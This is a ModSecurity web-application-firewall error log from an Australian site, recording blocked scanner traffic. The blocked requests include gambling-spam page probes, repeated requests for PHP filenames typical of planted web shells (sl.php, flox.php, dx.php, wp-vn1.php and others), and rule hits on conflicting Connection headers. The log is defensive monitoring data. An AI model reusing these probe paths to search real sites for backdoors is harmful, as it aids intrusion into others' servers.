[Fri Apr 10 10:32:08.597754 2026] [:error] [pid 13100:tid 13121] [client 81.167.26.57:57741] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adhhKFzg-ZkZ0InWIP3XSwAAARA"]
[Fri Apr 10 10:32:11.067516 2026] [:error] [pid 13100:tid 13126] [client 81.167.26.57:39089] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adhhK1zg-ZkZ0InWIP3XTwAAARU"]
[Fri Apr 10 10:32:13.585567 2026] [:error] [pid 13100:tid 13106] [client 81.167.26.57:37107] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adhhLVzg-ZkZ0InWIP3XVQAAAQE"]
[Fri Apr 10 10:32:16.084989 2026] [:error] [pid 13101:tid 13152] [client 81.167.26.57:52439] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adhhMN8Ldw85818pj2rKrAAAAJM"]
[Fri Apr 10 10:32:18.592653 2026] [:error] [pid 13189:tid 13214] [client 81.167.26.57:52103] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adhhMpAxiJKPums3eBAFWAAAAFY"]
[Fri Apr 10 10:32:21.095517 2026] [:error] [pid 13189:tid 13204] [client 81.167.26.57:3665] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adhhNZAxiJKPums3eBAFYQAAAEw"]
[Fri Apr 10 10:32:42.399759 2026] [:error] [pid 13189:tid 13199] [client 81.167.26.57:15272] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adhhSpAxiJKPums3eBAFqgAAAEc"]
[Fri Apr 10 10:32:44.968694 2026] [:error] [pid 13100:tid 13110] [client 81.167.26.57:16156] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adhhTFzg-ZkZ0InWIP3XwQAAAQU"]
[Fri Apr 10 10:32:47.615563 2026] [:error] [pid 13101:tid 13137] [client 81.167.26.57:54554] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adhhT98Ldw85818pj2rLJwAAAIQ"]
[Fri Apr 10 10:32:50.268033 2026] [:error] [pid 13189:tid 13194] [client 81.167.26.57:5510] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adhhUpAxiJKPums3eBAFxAAAAEI"]
[Fri Apr 10 10:32:52.899130 2026] [:error] [pid 13100:tid 13118] [client 81.167.26.57:63771] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adhhVFzg-ZkZ0InWIP3X1QAAAQ0"]
[Fri Apr 10 10:32:55.404636 2026] [:error] [pid 13189:tid 13212] [client 81.167.26.57:27678] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adhhV5AxiJKPums3eBAF0QAAAFQ"]
[Fri Apr 10 10:32:58.034530 2026] [:error] [pid 13189:tid 13209] [client 81.167.26.57:13653] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adhhWpAxiJKPums3eBAF2gAAAFE"]
[Fri Apr 10 10:33:00.706156 2026] [:error] [pid 13189:tid 13206] [client 81.167.26.57:33093] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adhhXJAxiJKPums3eBAF8AAAAE4"]
[Fri Apr 10 10:33:03.336001 2026] [:error] [pid 13189:tid 13203] [client 81.167.26.57:41865] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adhhX5AxiJKPums3eBAGCAAAAEs"]
[Fri Apr 10 10:33:05.815270 2026] [:error] [pid 13100:tid 13114] [client 81.167.26.57:30402] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adhhYVzg-ZkZ0InWIP3X7AAAAQk"]
[Fri Apr 10 10:33:08.446916 2026] [:error] [pid 13102:tid 13167] [client 81.167.26.57:18462] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adhhZP9xLvjW2guI55ZKYgAAAAc"]
[Fri Apr 10 10:33:11.123853 2026] [:error] [pid 13189:tid 13214] [client 81.167.26.57:42698] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adhhZ5AxiJKPums3eBAGOgAAAFY"]
[Fri Apr 10 10:33:13.655981 2026] [:error] [pid 13189:tid 13194] [client 81.167.26.57:2186] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adhhaZAxiJKPums3eBAGSAAAAEI"]
[Fri Apr 10 10:33:16.312183 2026] [:error] [pid 13101:tid 13141] [client 81.167.26.57:60983] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adhhbN8Ldw85818pj2rLagAAAIg"]
[Fri Apr 10 10:33:18.970159 2026] [:error] [pid 13101:tid 13145] [client 81.167.26.57:46809] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adhhbt8Ldw85818pj2rLcQAAAIw"]
[Fri Apr 10 10:33:21.651084 2026] [:error] [pid 13101:tid 13150] [client 81.167.26.57:44983] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adhhcd8Ldw85818pj2rLhAAAAJE"]
[Fri Apr 10 10:33:24.150407 2026] [:error] [pid 13189:tid 13216] [client 81.167.26.57:19661] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adhhdJAxiJKPums3eBAGmgAAAFg"]
[Fri Apr 10 10:33:26.823470 2026] [:error] [pid 13189:tid 13204] [client 81.167.26.57:43709] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adhhdpAxiJKPums3eBAGtwAAAEw"]
[Fri Apr 10 10:35:19.374832 2026] [:error] [pid 13189:tid 13212] [client 43.130.71.237:42314] [client 43.130.71.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adhh55AxiJKPums3eBAJMwAAAFQ"]
[Fri Apr 10 13:21:59.935156 2026] [:error] [pid 13102:tid 13164] [client 117.33.163.216:42666] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adiI9_9xLvjW2guI55a0hwAAAAQ"]
[Fri Apr 10 15:52:47.030378 2026] [:error] [pid 13102:tid 13182] [client 43.157.142.101:51810] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adisT_9xLvjW2guI55YA8wAAABY"]
[Fri Apr 10 16:22:40.426070 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:10825] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "adizUIa41m-BS8mg82cFAQAAAMQ"]
[Fri Apr 10 16:22:40.886432 2026] [:error] [pid 3934:tid 3951] [client 172.213.241.33:11200] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "adizUIa41m-BS8mg82cFBQAAAMw"]
[Fri Apr 10 16:22:41.353158 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11210] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "adizUZAxiJKPums3eBAUNwAAAFE"]
[Fri Apr 10 16:22:41.823925 2026] [:error] [pid 3934:tid 3946] [client 172.213.241.33:10837] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "adizUYa41m-BS8mg82cFDAAAAMc"]
[Fri Apr 10 16:22:42.283886 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:11201] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adizUoa41m-BS8mg82cFDwAAANc"]
[Fri Apr 10 16:22:42.760198 2026] [:error] [pid 13189:tid 13197] [client 172.213.241.33:10820] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adizUpAxiJKPums3eBAUPgAAAEU"]
[Fri Apr 10 16:22:43.225465 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11220] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adizU5AxiJKPums3eBAUQgAAAFQ"]
[Fri Apr 10 16:22:43.691813 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:10824] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adizU4a41m-BS8mg82cFGQAAAMM"]
[Fri Apr 10 16:22:44.171022 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:10874] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adizVIa41m-BS8mg82cFHAAAAMU"]
[Fri Apr 10 16:22:44.634693 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10828] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adizVIa41m-BS8mg82cFIQAAAME"]
[Fri Apr 10 16:22:45.092640 2026] [:error] [pid 3934:tid 3947] [client 172.213.241.33:10831] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adizVYa41m-BS8mg82cFJgAAAMg"]
[Fri Apr 10 16:22:45.563732 2026] [:error] [pid 13100:tid 13108] [client 172.213.241.33:10861] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adizVVzg-ZkZ0InWIP1TcQAAAQM"]
[Fri Apr 10 16:22:46.039649 2026] [:error] [pid 13100:tid 13129] [client 172.213.241.33:11227] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adizVlzg-ZkZ0InWIP1TcwAAARg"]
[Fri Apr 10 16:22:46.505323 2026] [:error] [pid 13100:tid 13117] [client 172.213.241.33:11203] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adizVlzg-ZkZ0InWIP1TdQAAAQw"]
[Fri Apr 10 16:22:46.972419 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:10878] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adizVoa41m-BS8mg82cFNwAAAM4"]
[Fri Apr 10 16:22:47.446015 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10854] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adizV4a41m-BS8mg82cFOwAAAMY"]
[Fri Apr 10 16:22:47.909347 2026] [:error] [pid 3934:tid 3947] [client 172.213.241.33:10817] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adizV4a41m-BS8mg82cFPwAAAMg"]
[Fri Apr 10 16:22:48.373117 2026] [:error] [pid 13102:tid 13184] [client 172.213.241.33:10832] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adizWP9xLvjW2guI55YQTgAAABg"]
[Fri Apr 10 16:22:48.832510 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11233] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adizWIa41m-BS8mg82cFSAAAAMY"]
[Fri Apr 10 16:22:49.307571 2026] [:error] [pid 13102:tid 13181] [client 172.213.241.33:10872] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adizWf9xLvjW2guI55YQUQAAABU"]
[Fri Apr 10 16:22:49.782054 2026] [:error] [pid 13100:tid 13112] [client 172.213.241.33:10867] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizWVzg-ZkZ0InWIP1TfwAAAQc"]
[Fri Apr 10 16:22:50.249826 2026] [:error] [pid 13101:tid 13144] [client 172.213.241.33:10856] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizWt8Ldw85818pj2phfgAAAIs"]
[Fri Apr 10 16:22:50.712828 2026] [:error] [pid 13102:tid 13176] [client 172.213.241.33:11136] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizWv9xLvjW2guI55YQVgAAABA"]
[Fri Apr 10 16:22:51.171570 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:10877] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizW4a41m-BS8mg82cFXwAAAMs"]
[Fri Apr 10 16:22:51.629695 2026] [:error] [pid 13102:tid 13166] [client 172.213.241.33:10848] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adizW_9xLvjW2guI55YQWgAAAAY"]
[Fri Apr 10 16:22:52.096942 2026] [:error] [pid 13101:tid 13142] [client 172.213.241.33:11157] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adizXN8Ldw85818pj2phhAAAAIk"]
[Fri Apr 10 16:22:52.575984 2026] [:error] [pid 13101:tid 13146] [client 172.213.241.33:10823] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adizXN8Ldw85818pj2phhwAAAI0"]
